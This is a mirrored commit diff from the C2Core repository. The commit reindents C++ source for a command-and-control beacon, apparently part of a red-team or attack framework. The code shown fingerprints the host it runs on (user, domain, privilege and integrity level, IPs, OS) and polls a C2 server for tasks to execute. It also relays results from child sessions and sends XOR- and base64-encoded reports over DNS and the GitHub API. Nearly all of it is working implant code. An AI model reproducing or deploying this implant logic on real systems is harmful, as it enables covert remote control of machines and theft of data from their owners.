mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
Normalize C++ indentation to four spaces
This commit is contained in:
+249
-249
@@ -51,13 +51,13 @@ std::string getInternalIP()
|
||||
struct ifaddrs* ifAddrStruct = nullptr;
|
||||
getifaddrs(&ifAddrStruct);
|
||||
|
||||
std::string ips = "";
|
||||
std::string ips = "";
|
||||
for (struct ifaddrs* ifa = ifAddrStruct; ifa != nullptr; ifa = ifa->ifa_next)
|
||||
{
|
||||
{
|
||||
if (ifa->ifa_addr && ifa->ifa_addr->sa_family == AF_INET)
|
||||
{
|
||||
if(!ips.empty())
|
||||
ips+="\n";
|
||||
{
|
||||
if(!ips.empty())
|
||||
ips+="\n";
|
||||
|
||||
void* tmpAddrPtr = &((struct sockaddr_in*)ifa->ifa_addr)->sin_addr;
|
||||
char addressBuffer[INET_ADDRSTRLEN];
|
||||
@@ -65,17 +65,17 @@ std::string getInternalIP()
|
||||
|
||||
// Filter out loopback
|
||||
if (std::string(ifa->ifa_name) != "lo")
|
||||
{
|
||||
ips += ifa->ifa_name;
|
||||
ips += ": ";
|
||||
ips += addressBuffer;
|
||||
}
|
||||
{
|
||||
ips += ifa->ifa_name;
|
||||
ips += ": ";
|
||||
ips += addressBuffer;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ifAddrStruct)
|
||||
freeifaddrs(ifAddrStruct);
|
||||
|
||||
return ips;
|
||||
freeifaddrs(ifAddrStruct);
|
||||
|
||||
return ips;
|
||||
}
|
||||
|
||||
|
||||
@@ -103,14 +103,14 @@ std::string getInternalIP()
|
||||
WSADATA wsaData;
|
||||
char hostname[256];
|
||||
|
||||
std::string ips = "";
|
||||
std::string ips = "";
|
||||
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
|
||||
{
|
||||
{
|
||||
return ips;
|
||||
}
|
||||
|
||||
if (gethostname(hostname, sizeof(hostname)) == SOCKET_ERROR)
|
||||
{
|
||||
{
|
||||
WSACleanup();
|
||||
return ips;
|
||||
}
|
||||
@@ -121,26 +121,26 @@ std::string getInternalIP()
|
||||
hints.ai_protocol = IPPROTO_TCP;
|
||||
|
||||
if (getaddrinfo(hostname, nullptr, &hints, &result) != 0)
|
||||
{
|
||||
{
|
||||
WSACleanup();
|
||||
return ips;
|
||||
}
|
||||
|
||||
for (struct addrinfo* ptr = result; ptr != nullptr; ptr = ptr->ai_next)
|
||||
{
|
||||
if(!ips.empty())
|
||||
ips+="\n";
|
||||
{
|
||||
if(!ips.empty())
|
||||
ips+="\n";
|
||||
|
||||
struct sockaddr_in* sockaddr_ipv4 = reinterpret_cast<struct sockaddr_in*>(ptr->ai_addr);
|
||||
char ipStr[INET_ADDRSTRLEN];
|
||||
inet_ntop(AF_INET, &sockaddr_ipv4->sin_addr, ipStr, sizeof(ipStr));
|
||||
ips += ipStr;
|
||||
ips += ipStr;
|
||||
}
|
||||
|
||||
freeaddrinfo(result);
|
||||
WSACleanup();
|
||||
|
||||
return ips;
|
||||
return ips;
|
||||
}
|
||||
|
||||
|
||||
@@ -152,58 +152,58 @@ int getCurrentPID()
|
||||
|
||||
enum IntegrityLevel
|
||||
{
|
||||
INTEGRITY_UNKNOWN,
|
||||
UNTRUSTED_INTEGRITY,
|
||||
LOW_INTEGRITY,
|
||||
MEDIUM_INTEGRITY,
|
||||
HIGH_INTEGRITY,
|
||||
INTEGRITY_UNKNOWN,
|
||||
UNTRUSTED_INTEGRITY,
|
||||
LOW_INTEGRITY,
|
||||
MEDIUM_INTEGRITY,
|
||||
HIGH_INTEGRITY,
|
||||
};
|
||||
|
||||
|
||||
IntegrityLevel GetCurrentProcessIntegrityLevel()
|
||||
{
|
||||
HANDLE hToken = NULL;
|
||||
BOOL result = false;
|
||||
TOKEN_USER* tokenUser = NULL;
|
||||
DWORD dwLength = 0;
|
||||
HANDLE hToken = NULL;
|
||||
BOOL result = false;
|
||||
TOKEN_USER* tokenUser = NULL;
|
||||
DWORD dwLength = 0;
|
||||
|
||||
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
|
||||
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
|
||||
|
||||
DWORD token_info_length = 0;
|
||||
if (::GetTokenInformation(hToken, TokenIntegrityLevel,
|
||||
nullptr, 0, &token_info_length) ||
|
||||
::GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
|
||||
return INTEGRITY_UNKNOWN;
|
||||
}
|
||||
DWORD token_info_length = 0;
|
||||
if (::GetTokenInformation(hToken, TokenIntegrityLevel,
|
||||
nullptr, 0, &token_info_length) ||
|
||||
::GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
|
||||
return INTEGRITY_UNKNOWN;
|
||||
}
|
||||
|
||||
auto token_label_bytes = std::make_unique<char[]>(token_info_length);
|
||||
TOKEN_MANDATORY_LABEL* token_label =
|
||||
reinterpret_cast<TOKEN_MANDATORY_LABEL*>(token_label_bytes.get());
|
||||
if (!::GetTokenInformation(hToken, TokenIntegrityLevel,
|
||||
token_label, token_info_length,
|
||||
&token_info_length)) {
|
||||
return INTEGRITY_UNKNOWN;
|
||||
}
|
||||
DWORD integrity_level = *::GetSidSubAuthority(
|
||||
token_label->Label.Sid,
|
||||
static_cast<DWORD>(*::GetSidSubAuthorityCount(token_label->Label.Sid) -
|
||||
1));
|
||||
auto token_label_bytes = std::make_unique<char[]>(token_info_length);
|
||||
TOKEN_MANDATORY_LABEL* token_label =
|
||||
reinterpret_cast<TOKEN_MANDATORY_LABEL*>(token_label_bytes.get());
|
||||
if (!::GetTokenInformation(hToken, TokenIntegrityLevel,
|
||||
token_label, token_info_length,
|
||||
&token_info_length)) {
|
||||
return INTEGRITY_UNKNOWN;
|
||||
}
|
||||
DWORD integrity_level = *::GetSidSubAuthority(
|
||||
token_label->Label.Sid,
|
||||
static_cast<DWORD>(*::GetSidSubAuthorityCount(token_label->Label.Sid) -
|
||||
1));
|
||||
|
||||
if (integrity_level < SECURITY_MANDATORY_LOW_RID)
|
||||
return UNTRUSTED_INTEGRITY;
|
||||
if (integrity_level < SECURITY_MANDATORY_LOW_RID)
|
||||
return UNTRUSTED_INTEGRITY;
|
||||
|
||||
if (integrity_level < SECURITY_MANDATORY_MEDIUM_RID)
|
||||
return LOW_INTEGRITY;
|
||||
if (integrity_level < SECURITY_MANDATORY_MEDIUM_RID)
|
||||
return LOW_INTEGRITY;
|
||||
|
||||
if (integrity_level >= SECURITY_MANDATORY_MEDIUM_RID &&
|
||||
integrity_level < SECURITY_MANDATORY_HIGH_RID) {
|
||||
return MEDIUM_INTEGRITY;
|
||||
}
|
||||
if (integrity_level >= SECURITY_MANDATORY_MEDIUM_RID &&
|
||||
integrity_level < SECURITY_MANDATORY_HIGH_RID) {
|
||||
return MEDIUM_INTEGRITY;
|
||||
}
|
||||
|
||||
if (integrity_level >= SECURITY_MANDATORY_HIGH_RID)
|
||||
return HIGH_INTEGRITY;
|
||||
if (integrity_level >= SECURITY_MANDATORY_HIGH_RID)
|
||||
return HIGH_INTEGRITY;
|
||||
|
||||
return INTEGRITY_UNKNOWN;
|
||||
return INTEGRITY_UNKNOWN;
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -222,109 +222,109 @@ Beacon::Beacon()
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
char hostname[2048];
|
||||
char username[2048];
|
||||
gethostname(hostname, 2048);
|
||||
getlogin_r(username, 2048);
|
||||
char hostname[2048];
|
||||
char username[2048];
|
||||
gethostname(hostname, 2048);
|
||||
getlogin_r(username, 2048);
|
||||
|
||||
m_hostname = hostname;
|
||||
m_username = username;
|
||||
m_hostname = hostname;
|
||||
m_username = username;
|
||||
|
||||
uid_t uid = geteuid ();
|
||||
struct passwd *pw = getpwuid (uid);
|
||||
if (pw)
|
||||
m_username = std::string(pw->pw_name);
|
||||
uid_t uid = geteuid ();
|
||||
struct passwd *pw = getpwuid (uid);
|
||||
if (pw)
|
||||
m_username = std::string(pw->pw_name);
|
||||
|
||||
struct utsname unameData;
|
||||
uname(&unameData);
|
||||
struct utsname unameData;
|
||||
uname(&unameData);
|
||||
|
||||
m_additionalInfo = unameData.sysname;
|
||||
m_additionalInfo += "\n";
|
||||
m_additionalInfo += unameData.nodename;
|
||||
m_additionalInfo += "\n";
|
||||
m_additionalInfo += unameData.release;
|
||||
m_additionalInfo += "\n";
|
||||
m_additionalInfo += unameData.version;
|
||||
m_additionalInfo += "\n";
|
||||
m_additionalInfo += unameData.machine;
|
||||
m_additionalInfo = unameData.sysname;
|
||||
m_additionalInfo += "\n";
|
||||
m_additionalInfo += unameData.nodename;
|
||||
m_additionalInfo += "\n";
|
||||
m_additionalInfo += unameData.release;
|
||||
m_additionalInfo += "\n";
|
||||
m_additionalInfo += unameData.version;
|
||||
m_additionalInfo += "\n";
|
||||
m_additionalInfo += unameData.machine;
|
||||
|
||||
m_arch = unameData.machine;
|
||||
m_arch = unameData.machine;
|
||||
|
||||
m_privilege = "user";
|
||||
if(m_username=="root")
|
||||
m_privilege = "root";
|
||||
|
||||
m_privilege = "user";
|
||||
if(m_username=="root")
|
||||
m_privilege = "root";
|
||||
|
||||
m_os = unameData.sysname;
|
||||
m_os += " ";
|
||||
m_os += unameData.release;
|
||||
|
||||
#elif _WIN32
|
||||
|
||||
TCHAR infoBuf[INFO_BUFFER_SIZE];
|
||||
DWORD bufCharCount = INFO_BUFFER_SIZE;
|
||||
TCHAR infoBuf[INFO_BUFFER_SIZE];
|
||||
DWORD bufCharCount = INFO_BUFFER_SIZE;
|
||||
|
||||
// Get and display the name of the computer.
|
||||
m_hostname = "unknown";
|
||||
if( GetComputerName( infoBuf, &bufCharCount ) )
|
||||
m_hostname = infoBuf;
|
||||
// Get and display the name of the computer.
|
||||
m_hostname = "unknown";
|
||||
if( GetComputerName( infoBuf, &bufCharCount ) )
|
||||
m_hostname = infoBuf;
|
||||
|
||||
std::string username1;
|
||||
std::string username1;
|
||||
if( GetUserName( infoBuf, &bufCharCount ) )
|
||||
username1 = infoBuf;
|
||||
username1 = infoBuf;
|
||||
|
||||
// ??
|
||||
std::string acctName;
|
||||
std::string domainname;
|
||||
// ??
|
||||
std::string acctName;
|
||||
std::string domainname;
|
||||
|
||||
TOKEN_USER tokenUser;
|
||||
ZeroMemory(&tokenUser, sizeof(TOKEN_USER));
|
||||
DWORD tokenUserLength = 0;
|
||||
TOKEN_USER tokenUser;
|
||||
ZeroMemory(&tokenUser, sizeof(TOKEN_USER));
|
||||
DWORD tokenUserLength = 0;
|
||||
|
||||
PTOKEN_USER pTokenUser;
|
||||
GetTokenInformation(GetCurrentProcessToken(), TOKEN_INFORMATION_CLASS::TokenUser, NULL,
|
||||
0, &tokenUserLength);
|
||||
pTokenUser = (PTOKEN_USER) new BYTE[tokenUserLength];
|
||||
PTOKEN_USER pTokenUser;
|
||||
GetTokenInformation(GetCurrentProcessToken(), TOKEN_INFORMATION_CLASS::TokenUser, NULL,
|
||||
0, &tokenUserLength);
|
||||
pTokenUser = (PTOKEN_USER) new BYTE[tokenUserLength];
|
||||
|
||||
if (GetTokenInformation(GetCurrentProcessToken(), TOKEN_INFORMATION_CLASS::TokenUser, pTokenUser, tokenUserLength, &tokenUserLength))
|
||||
{
|
||||
TCHAR szUserName[_MAX_PATH];
|
||||
DWORD dwUserNameLength = _MAX_PATH;
|
||||
TCHAR szDomainName[_MAX_PATH];
|
||||
DWORD dwDomainNameLength = _MAX_PATH;
|
||||
SID_NAME_USE sidNameUse;
|
||||
LookupAccountSid(NULL, pTokenUser->User.Sid, szUserName, &dwUserNameLength, szDomainName, &dwDomainNameLength, &sidNameUse);
|
||||
acctName=szUserName;
|
||||
domainname=szDomainName;
|
||||
delete[] pTokenUser;
|
||||
}
|
||||
if (GetTokenInformation(GetCurrentProcessToken(), TOKEN_INFORMATION_CLASS::TokenUser, pTokenUser, tokenUserLength, &tokenUserLength))
|
||||
{
|
||||
TCHAR szUserName[_MAX_PATH];
|
||||
DWORD dwUserNameLength = _MAX_PATH;
|
||||
TCHAR szDomainName[_MAX_PATH];
|
||||
DWORD dwDomainNameLength = _MAX_PATH;
|
||||
SID_NAME_USE sidNameUse;
|
||||
LookupAccountSid(NULL, pTokenUser->User.Sid, szUserName, &dwUserNameLength, szDomainName, &dwDomainNameLength, &sidNameUse);
|
||||
acctName=szUserName;
|
||||
domainname=szDomainName;
|
||||
delete[] pTokenUser;
|
||||
}
|
||||
|
||||
if(!domainname.empty())
|
||||
m_username+=domainname;
|
||||
else if(!m_hostname.empty())
|
||||
m_username+=m_hostname;
|
||||
else
|
||||
m_username+=".";
|
||||
if(!domainname.empty())
|
||||
m_username+=domainname;
|
||||
else if(!m_hostname.empty())
|
||||
m_username+=m_hostname;
|
||||
else
|
||||
m_username+=".";
|
||||
|
||||
m_username+="\\";
|
||||
if(!acctName.empty())
|
||||
m_username+=acctName;
|
||||
else if(!username1.empty())
|
||||
m_username+=username1;
|
||||
else
|
||||
m_username+="unknow";
|
||||
m_username+="\\";
|
||||
if(!acctName.empty())
|
||||
m_username+=acctName;
|
||||
else if(!username1.empty())
|
||||
m_username+=username1;
|
||||
else
|
||||
m_username+="unknow";
|
||||
|
||||
SYSTEM_INFO systemInfo = { 0 };
|
||||
GetNativeSystemInfo(&systemInfo);
|
||||
SYSTEM_INFO systemInfo = { 0 };
|
||||
GetNativeSystemInfo(&systemInfo);
|
||||
|
||||
m_arch = "x64";
|
||||
if (systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL)
|
||||
m_arch = "x86";
|
||||
m_arch = "x64";
|
||||
if (systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL)
|
||||
m_arch = "x86";
|
||||
|
||||
m_os = "Windows";
|
||||
|
||||
IntegrityLevel integrityLevel = GetCurrentProcessIntegrityLevel();
|
||||
IntegrityLevel integrityLevel = GetCurrentProcessIntegrityLevel();
|
||||
|
||||
m_privilege = "-";
|
||||
m_privilege = "-";
|
||||
if (integrityLevel == INTEGRITY_UNKNOWN)
|
||||
m_privilege = "UNKNOWN";
|
||||
else if (integrityLevel == UNTRUSTED_INTEGRITY)
|
||||
@@ -349,28 +349,28 @@ Beacon::Beacon()
|
||||
|
||||
void Beacon::run()
|
||||
{
|
||||
bool exit = false;
|
||||
while (!exit)
|
||||
{
|
||||
try
|
||||
{
|
||||
checkIn();
|
||||
bool exit = false;
|
||||
while (!exit)
|
||||
{
|
||||
try
|
||||
{
|
||||
checkIn();
|
||||
|
||||
exit = runTasks();
|
||||
|
||||
sleep();
|
||||
}
|
||||
catch(const std::exception& ex)
|
||||
{
|
||||
sleep();
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
sleep();
|
||||
}
|
||||
}
|
||||
exit = runTasks();
|
||||
|
||||
sleep();
|
||||
}
|
||||
catch(const std::exception& ex)
|
||||
{
|
||||
sleep();
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
sleep();
|
||||
}
|
||||
}
|
||||
|
||||
checkIn();
|
||||
checkIn();
|
||||
}
|
||||
|
||||
|
||||
@@ -466,71 +466,71 @@ bool Beacon::cmdToTasks(const std::string& input)
|
||||
// Create the response message from the results of all the commmands send to this beacon and child beacons
|
||||
bool Beacon::taskResultsToCmd(std::string& output)
|
||||
{
|
||||
// Handle results of commands address to this particular Beacon
|
||||
MultiBundleC2Message multiBundleC2Message;
|
||||
BundleC2Message *bundleC2Message = multiBundleC2Message.add_bundlec2messages();
|
||||
// Handle results of commands address to this particular Beacon
|
||||
MultiBundleC2Message multiBundleC2Message;
|
||||
BundleC2Message *bundleC2Message = multiBundleC2Message.add_bundlec2messages();
|
||||
|
||||
// TODO check of m_taskResult contain a getInfo cmd and add context info if it does
|
||||
bundleC2Message->set_beaconhash(m_beaconHash);
|
||||
bundleC2Message->set_hostname(m_hostname);
|
||||
bundleC2Message->set_username(m_username);
|
||||
bundleC2Message->set_arch(m_arch);
|
||||
bundleC2Message->set_privilege(m_privilege);
|
||||
bundleC2Message->set_os(m_os);
|
||||
bundleC2Message->set_lastProofOfLife("0");
|
||||
bundleC2Message->set_internalIps(m_ips);
|
||||
bundleC2Message->set_processId(m_pid);
|
||||
bundleC2Message->set_additionalInformation(m_additionalInfo);
|
||||
// TODO check of m_taskResult contain a getInfo cmd and add context info if it does
|
||||
bundleC2Message->set_beaconhash(m_beaconHash);
|
||||
bundleC2Message->set_hostname(m_hostname);
|
||||
bundleC2Message->set_username(m_username);
|
||||
bundleC2Message->set_arch(m_arch);
|
||||
bundleC2Message->set_privilege(m_privilege);
|
||||
bundleC2Message->set_os(m_os);
|
||||
bundleC2Message->set_lastProofOfLife("0");
|
||||
bundleC2Message->set_internalIps(m_ips);
|
||||
bundleC2Message->set_processId(m_pid);
|
||||
bundleC2Message->set_additionalInformation(m_additionalInfo);
|
||||
|
||||
while(!m_taskResult.empty())
|
||||
{
|
||||
C2Message c2MessageRet=m_taskResult.front();
|
||||
// C2Message *addedC2MessageRet = bundleC2Message->add_c2messages();
|
||||
// addedC2MessageRet->CopyFrom(c2MessageRet);
|
||||
bundleC2Message->add_c2messages(c2MessageRet);
|
||||
m_taskResult.pop();
|
||||
}
|
||||
while(!m_taskResult.empty())
|
||||
{
|
||||
C2Message c2MessageRet=m_taskResult.front();
|
||||
// C2Message *addedC2MessageRet = bundleC2Message->add_c2messages();
|
||||
// addedC2MessageRet->CopyFrom(c2MessageRet);
|
||||
bundleC2Message->add_c2messages(c2MessageRet);
|
||||
m_taskResult.pop();
|
||||
}
|
||||
|
||||
// Handle results of commands address to child sessions
|
||||
// Handle results of commands address to child sessions
|
||||
for(int i=0; i<m_listeners.size(); i++)
|
||||
{
|
||||
for(std::size_t j=0; j<m_listeners[i]->getNumberOfSession(); j++)
|
||||
{
|
||||
std::shared_ptr<Session> ptr = m_listeners[i]->getSessionPtr(j);
|
||||
{
|
||||
std::shared_ptr<Session> ptr = m_listeners[i]->getSessionPtr(j);
|
||||
|
||||
BundleC2Message *bundleC2Message = multiBundleC2Message.add_bundlec2messages();
|
||||
|
||||
// TODO check of m_taskResult contain a getInfo cmd and add context info if it does
|
||||
bundleC2Message->set_beaconhash(ptr->getBeaconHash());
|
||||
bundleC2Message->set_listenerhash(ptr->getListenerHash());
|
||||
bundleC2Message->set_hostname(ptr->getHostname());
|
||||
bundleC2Message->set_username(ptr->getUsername());
|
||||
bundleC2Message->set_arch(ptr->getArch());
|
||||
bundleC2Message->set_privilege(ptr->getPrivilege());
|
||||
bundleC2Message->set_os(ptr->getOs());
|
||||
bundleC2Message->set_lastProofOfLife(ptr->getLastProofOfLife());
|
||||
bundleC2Message->set_internalIps(ptr->getInternalIps());
|
||||
bundleC2Message->set_processId(ptr->getProcessId());
|
||||
bundleC2Message->set_additionalInformation(ptr->getAdditionalInformation());
|
||||
BundleC2Message *bundleC2Message = multiBundleC2Message.add_bundlec2messages();
|
||||
|
||||
// TODO check of m_taskResult contain a getInfo cmd and add context info if it does
|
||||
bundleC2Message->set_beaconhash(ptr->getBeaconHash());
|
||||
bundleC2Message->set_listenerhash(ptr->getListenerHash());
|
||||
bundleC2Message->set_hostname(ptr->getHostname());
|
||||
bundleC2Message->set_username(ptr->getUsername());
|
||||
bundleC2Message->set_arch(ptr->getArch());
|
||||
bundleC2Message->set_privilege(ptr->getPrivilege());
|
||||
bundleC2Message->set_os(ptr->getOs());
|
||||
bundleC2Message->set_lastProofOfLife(ptr->getLastProofOfLife());
|
||||
bundleC2Message->set_internalIps(ptr->getInternalIps());
|
||||
bundleC2Message->set_processId(ptr->getProcessId());
|
||||
bundleC2Message->set_additionalInformation(ptr->getAdditionalInformation());
|
||||
|
||||
C2Message c2Message = ptr->getTaskResult();
|
||||
while(!c2Message.instruction().empty())
|
||||
{
|
||||
// C2Message *addedC2MessageRet = bundleC2Message->add_c2messages();
|
||||
// addedC2MessageRet->CopyFrom(c2Message);
|
||||
bundleC2Message->add_c2messages(c2Message);
|
||||
c2Message = ptr->getTaskResult();
|
||||
}
|
||||
}
|
||||
}
|
||||
C2Message c2Message = ptr->getTaskResult();
|
||||
while(!c2Message.instruction().empty())
|
||||
{
|
||||
// C2Message *addedC2MessageRet = bundleC2Message->add_c2messages();
|
||||
// addedC2MessageRet->CopyFrom(c2Message);
|
||||
bundleC2Message->add_c2messages(c2Message);
|
||||
c2Message = ptr->getTaskResult();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
std::string data;
|
||||
multiBundleC2Message.SerializeToString(&data);
|
||||
std::string data;
|
||||
multiBundleC2Message.SerializeToString(&data);
|
||||
|
||||
XOR(data, m_key);
|
||||
output = base64_encode(data);
|
||||
XOR(data, m_key);
|
||||
output = base64_encode(data);
|
||||
|
||||
return true;
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
@@ -538,53 +538,53 @@ bool Beacon::taskResultsToCmd(std::string& output)
|
||||
// Returns true if an instruction indicates the beacon should exit, otherwise false.
|
||||
bool Beacon::runTasks()
|
||||
{
|
||||
// Execute all recurring module commands and collect their results.
|
||||
for (auto it = m_moduleCmd.begin(); it != m_moduleCmd.end(); ++it)
|
||||
{
|
||||
C2Message c2RetMessage;
|
||||
int result = (*it)->recurringExec(c2RetMessage);
|
||||
// Execute all recurring module commands and collect their results.
|
||||
for (auto it = m_moduleCmd.begin(); it != m_moduleCmd.end(); ++it)
|
||||
{
|
||||
C2Message c2RetMessage;
|
||||
int result = (*it)->recurringExec(c2RetMessage);
|
||||
|
||||
// If the module executed successfully, store the result for response construction.
|
||||
if (result)
|
||||
m_taskResult.push(c2RetMessage);
|
||||
}
|
||||
// If the module executed successfully, store the result for response construction.
|
||||
if (result)
|
||||
m_taskResult.push(c2RetMessage);
|
||||
}
|
||||
|
||||
// Process each individual task assigned to this beacon.
|
||||
// These are one-time commands sent from the C2 server.
|
||||
while (!m_tasks.empty())
|
||||
{
|
||||
C2Message c2Message = m_tasks.front();
|
||||
m_tasks.pop();
|
||||
// Process each individual task assigned to this beacon.
|
||||
// These are one-time commands sent from the C2 server.
|
||||
while (!m_tasks.empty())
|
||||
{
|
||||
C2Message c2Message = m_tasks.front();
|
||||
m_tasks.pop();
|
||||
|
||||
C2Message c2RetMessage;
|
||||
|
||||
// Execute the instruction and generate the response.
|
||||
bool exit = execInstruction(c2Message, c2RetMessage);
|
||||
C2Message c2RetMessage;
|
||||
|
||||
// Execute the instruction and generate the response.
|
||||
bool exit = execInstruction(c2Message, c2RetMessage);
|
||||
|
||||
// Store the result of the execution.
|
||||
m_taskResult.push(std::move(c2RetMessage));
|
||||
// Store the result of the execution.
|
||||
m_taskResult.push(std::move(c2RetMessage));
|
||||
|
||||
// If the instruction indicates the beacon should exit, return immediately.
|
||||
if (exit)
|
||||
return exit;
|
||||
}
|
||||
// If the instruction indicates the beacon should exit, return immediately.
|
||||
if (exit)
|
||||
return exit;
|
||||
}
|
||||
|
||||
// Add a heartbeat or "proof-of-life" message for each active listener.
|
||||
// This helps the C2 track which listeners are still alive and their current state.
|
||||
for (int i = 0; i < m_listeners.size(); i++)
|
||||
{
|
||||
C2Message listenerProofOfLife;
|
||||
// Add a heartbeat or "proof-of-life" message for each active listener.
|
||||
// This helps the C2 track which listeners are still alive and their current state.
|
||||
for (int i = 0; i < m_listeners.size(); i++)
|
||||
{
|
||||
C2Message listenerProofOfLife;
|
||||
|
||||
listenerProofOfLife.set_instruction(ListenerPollCmd); // Indicate this is a poll/proof message.
|
||||
listenerProofOfLife.set_data(m_listeners[i]->getListenerHash()); // Include unique listener identifier.
|
||||
listenerProofOfLife.set_returnvalue(m_listeners[i]->getListenerMetadata()); // Include listener status/metadata.
|
||||
listenerProofOfLife.set_instruction(ListenerPollCmd); // Indicate this is a poll/proof message.
|
||||
listenerProofOfLife.set_data(m_listeners[i]->getListenerHash()); // Include unique listener identifier.
|
||||
listenerProofOfLife.set_returnvalue(m_listeners[i]->getListenerMetadata()); // Include listener status/metadata.
|
||||
|
||||
// Add the heartbeat to the response queue.
|
||||
m_taskResult.push(listenerProofOfLife);
|
||||
}
|
||||
// Add the heartbeat to the response queue.
|
||||
m_taskResult.push(listenerProofOfLife);
|
||||
}
|
||||
|
||||
// No exit signal was received; continue beacon execution.
|
||||
return false;
|
||||
// No exit signal was received; continue beacon execution.
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
|
||||
+18
-18
@@ -23,29 +23,29 @@ public:
|
||||
Beacon();
|
||||
virtual ~Beacon() = default;
|
||||
|
||||
bool initConfig(const std::string& config);
|
||||
void run();
|
||||
bool initConfig(const std::string& config);
|
||||
void run();
|
||||
|
||||
protected:
|
||||
virtual void checkIn() = 0;
|
||||
bool runTasks();
|
||||
void sleep();
|
||||
virtual void checkIn() = 0;
|
||||
bool runTasks();
|
||||
void sleep();
|
||||
|
||||
bool execInstruction(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
bool cmdToTasks(const std::string& input);
|
||||
bool taskResultsToCmd(std::string& output);
|
||||
bool execInstruction(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
bool cmdToTasks(const std::string& input);
|
||||
bool taskResultsToCmd(std::string& output);
|
||||
|
||||
int m_aliveTimerMs;
|
||||
int m_aliveTimerMs;
|
||||
|
||||
std::string m_beaconHash;
|
||||
std::string m_hostname;
|
||||
std::string m_username;
|
||||
std::string m_arch;
|
||||
std::string m_privilege;
|
||||
std::string m_os;
|
||||
std::string m_ips;
|
||||
std::string m_pid;
|
||||
std::string m_additionalInfo;
|
||||
std::string m_beaconHash;
|
||||
std::string m_hostname;
|
||||
std::string m_username;
|
||||
std::string m_arch;
|
||||
std::string m_privilege;
|
||||
std::string m_os;
|
||||
std::string m_ips;
|
||||
std::string m_pid;
|
||||
std::string m_additionalInfo;
|
||||
|
||||
std::queue<C2Message> m_tasks;
|
||||
std::queue<C2Message> m_taskResult;
|
||||
|
||||
+18
-18
@@ -7,42 +7,42 @@ using namespace dns;
|
||||
|
||||
|
||||
BeaconDns::BeaconDns(std::string& config, const std::string& dnsServer, const std::string& domain)
|
||||
: Beacon()
|
||||
: Beacon()
|
||||
{
|
||||
// beacon and modules config
|
||||
// beacon and modules config
|
||||
initConfig(config);
|
||||
|
||||
m_client=new Client(dnsServer, domain);
|
||||
|
||||
m_client=new Client(dnsServer, domain);
|
||||
}
|
||||
|
||||
|
||||
BeaconDns::~BeaconDns()
|
||||
{
|
||||
delete m_client;
|
||||
delete m_client;
|
||||
}
|
||||
|
||||
|
||||
void BeaconDns::checkIn()
|
||||
{
|
||||
SPDLOG_DEBUG("initConnection");
|
||||
{
|
||||
SPDLOG_DEBUG("initConnection");
|
||||
|
||||
std::string output;
|
||||
taskResultsToCmd(output);
|
||||
std::string output;
|
||||
taskResultsToCmd(output);
|
||||
|
||||
SPDLOG_DEBUG("sending output.size {0}", std::to_string(output.size()));
|
||||
SPDLOG_DEBUG("sending output.size {0}", std::to_string(output.size()));
|
||||
|
||||
m_client->sendMessage(output);
|
||||
m_client->sendMessage(output);
|
||||
|
||||
std::string input = m_client->requestMessage();
|
||||
std::string input = m_client->requestMessage();
|
||||
|
||||
if(!input.empty())
|
||||
{
|
||||
SPDLOG_DEBUG("received input.size {0}", std::to_string(input.size()));
|
||||
cmdToTasks(input);
|
||||
}
|
||||
if(!input.empty())
|
||||
{
|
||||
SPDLOG_DEBUG("received input.size {0}", std::to_string(input.size()));
|
||||
cmdToTasks(input);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,18 +4,18 @@
|
||||
|
||||
namespace dns
|
||||
{
|
||||
class Client;
|
||||
class Client;
|
||||
}
|
||||
|
||||
class BeaconDns : public Beacon
|
||||
{
|
||||
|
||||
public:
|
||||
BeaconDns(std::string& config, const std::string& dnsServer, const std::string& domain);
|
||||
~BeaconDns();
|
||||
BeaconDns(std::string& config, const std::string& dnsServer, const std::string& domain);
|
||||
~BeaconDns();
|
||||
|
||||
private:
|
||||
void checkIn();
|
||||
void checkIn();
|
||||
|
||||
dns::Client* m_client;
|
||||
dns::Client* m_client;
|
||||
};
|
||||
|
||||
+26
-26
@@ -70,8 +70,8 @@ int BeaconGithub::GithubPost(const string& domain, const string& url, const stri
|
||||
|
||||
json httpHeaders = {
|
||||
{ "Accept", "application/vnd.github+json" },
|
||||
{ "Authorization", auth },
|
||||
{ "Cookie", "logged_in=no" }
|
||||
{ "Authorization", auth },
|
||||
{ "Cookie", "logged_in=no" }
|
||||
};
|
||||
|
||||
for (auto& it : httpHeaders.items())
|
||||
@@ -115,9 +115,9 @@ int BeaconGithub::GithubPost(const string& domain, const string& url, const stri
|
||||
// Check for available data.
|
||||
dwSize = 0;
|
||||
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
|
||||
{
|
||||
{
|
||||
// printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
// Allocate space for the buffer.
|
||||
pszOutBuffer = new char[dwSize + 1];
|
||||
@@ -133,9 +133,9 @@ int BeaconGithub::GithubPost(const string& domain, const string& url, const stri
|
||||
|
||||
DWORD dwDownloaded = 0;
|
||||
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
|
||||
{
|
||||
{
|
||||
// printf("Error %u in WinHttpReadData.\n", GetLastError());
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// printf("%s", pszOutBuffer);
|
||||
@@ -198,8 +198,8 @@ int BeaconGithub::GithubGet(const string& domain, const string& url, string& res
|
||||
|
||||
json httpHeaders = {
|
||||
{ "Accept", "application/vnd.github+json" },
|
||||
{ "Authorization", auth },
|
||||
{ "Cookie", "logged_in=no" }
|
||||
